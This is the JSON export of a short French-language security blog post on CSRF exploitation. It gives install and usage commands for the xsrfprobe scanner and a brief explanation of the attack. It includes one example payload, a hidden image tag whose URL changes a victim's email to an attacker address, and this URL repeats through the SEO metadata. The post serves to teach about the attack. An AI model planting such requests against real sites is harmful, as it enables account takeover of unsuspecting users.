{"id":673,"date":"2021-07-28T10:57:34","date_gmt":"2021-07-28T15:57:34","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=673"},"modified":"2022-04-27T07:46:27","modified_gmt":"2022-04-27T12:46:27","slug":"csrf-exploitation","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/","title":{"rendered":"CSRF exploitation"},"content":{"rendered":"

pip3 install xsrfprobe
\nxsrfprobe -u http:\/\/server\/endpoint<\/p>\n

Vuln\u00e9rabilit\u00e9 CSRF<\/p>\n

un fichier sur un serveur tiers, lorsque visit\u00e9 par une victime, permet l’ex\u00e9cution de code sur le serveur vuln\u00e9rable (avec les droits de la victime)<\/p>\n

URL d’un image (invisible pour la victime) qui ex\u00e9cute du code sur un serveur vuln\u00e9rable. La victime n’a fait qu’ouvrir le lien envoy\u00e9 par l’attaquant (par courriel ou autre)
\n<img src="https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com"> <\/code><\/p>\n","protected":false},"excerpt":{"rendered":"

pip3 install xsrfprobe xsrfprobe -u http:\/\/server\/endpoint Vuln\u00e9rabilit\u00e9 CSRF un fichier sur un serveur tiers, lorsque visit\u00e9 par une victime, permet l’ex\u00e9cution de code sur le serveur vuln\u00e9rable (avec les droits de la victime) URL d’un image (invisible pour la victime) qui ex\u00e9cute du code sur un serveur vuln\u00e9rable. La victime n’a fait qu’ouvrir le lien envoy\u00e9 par l’attaquant (par courriel ou autre) <img src="https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com"><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"class_list":["post-673","post","type-post","status-publish","format-standard","hentry","category-exploit"],"yoast_head":"\nCSRF exploitation - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CSRF exploitation - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"pip3 install xsrfprobe xsrfprobe -u http:\/\/server\/endpoint Vuln\u00e9rabilit\u00e9 CSRF un fichier sur un serveur tiers, lorsque visit\u00e9 par une victime, permet l’ex\u00e9cution de code sur le serveur vuln\u00e9rable (avec les droits de la victime) URL d’un image (invisible pour la victime) qui ex\u00e9cute du code sur un serveur vuln\u00e9rable. La victime n’a fait qu’ouvrir le lien envoy\u00e9 par l’attaquant (par courriel ou autre) <img src="https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com">\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-28T15:57:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:46:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"CSRF exploitation\",\"datePublished\":\"2021-07-28T15:57:34+00:00\",\"dateModified\":\"2022-04-27T12:46:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/\"},\"wordCount\":76,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/vulnerable-website.com\\\/email\\\/change?email=attacker@searchevolution.com\",\"articleSection\":[\"Exploit\"],\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/\",\"name\":\"CSRF exploitation - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/vulnerable-website.com\\\/email\\\/change?email=attacker@searchevolution.com\",\"datePublished\":\"2021-07-28T15:57:34+00:00\",\"dateModified\":\"2022-04-27T12:46:27+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#primaryimage\",\"url\":\"https:\\\/\\\/vulnerable-website.com\\\/email\\\/change?email=attacker@searchevolution.com\",\"contentUrl\":\"https:\\\/\\\/vulnerable-website.com\\\/email\\\/change?email=attacker@searchevolution.com\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/csrf-exploitation\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CSRF exploitation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\"],\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/author\\\/germain\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CSRF exploitation - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/","og_locale":"fr_CA","og_type":"article","og_title":"CSRF exploitation - S\u00e9curiser votre site","og_description":"pip3 install xsrfprobe xsrfprobe -u http:\/\/server\/endpoint Vuln\u00e9rabilit\u00e9 CSRF un fichier sur un serveur tiers, lorsque visit\u00e9 par une victime, permet l’ex\u00e9cution de code sur le serveur vuln\u00e9rable (avec les droits de la victime) URL d’un image (invisible pour la victime) qui ex\u00e9cute du code sur un serveur vuln\u00e9rable. La victime n’a fait qu’ouvrir le lien envoy\u00e9 par l’attaquant (par courriel ou autre) <img src="https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com">","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-07-28T15:57:34+00:00","article_modified_time":"2022-04-27T12:46:27+00:00","og_image":[{"url":"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com","type":"","width":"","height":""}],"author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#article","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/"},"author":{"name":"Germain","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"headline":"CSRF exploitation","datePublished":"2021-07-28T15:57:34+00:00","dateModified":"2022-04-27T12:46:27+00:00","mainEntityOfPage":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/"},"wordCount":76,"commentCount":0,"image":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#primaryimage"},"thumbnailUrl":"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com","articleSection":["Exploit"],"inLanguage":"fr-CA","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/","name":"CSRF exploitation - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#primaryimage"},"image":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#primaryimage"},"thumbnailUrl":"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com","datePublished":"2021-07-28T15:57:34+00:00","dateModified":"2022-04-27T12:46:27+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/"]}]},{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#primaryimage","url":"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com","contentUrl":"https:\/\/vulnerable-website.com\/email\/change?email=attacker@searchevolution.com"},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/csrf-exploitation\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"CSRF exploitation"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/673","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=673"}],"version-history":[{"count":1,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/673\/revisions"}],"predecessor-version":[{"id":674,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/673\/revisions\/674"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=673"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=673"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=673"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}